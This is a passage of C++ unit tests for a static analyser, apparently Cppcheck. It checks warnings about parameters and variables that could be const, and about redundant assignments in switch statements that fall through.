*p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void 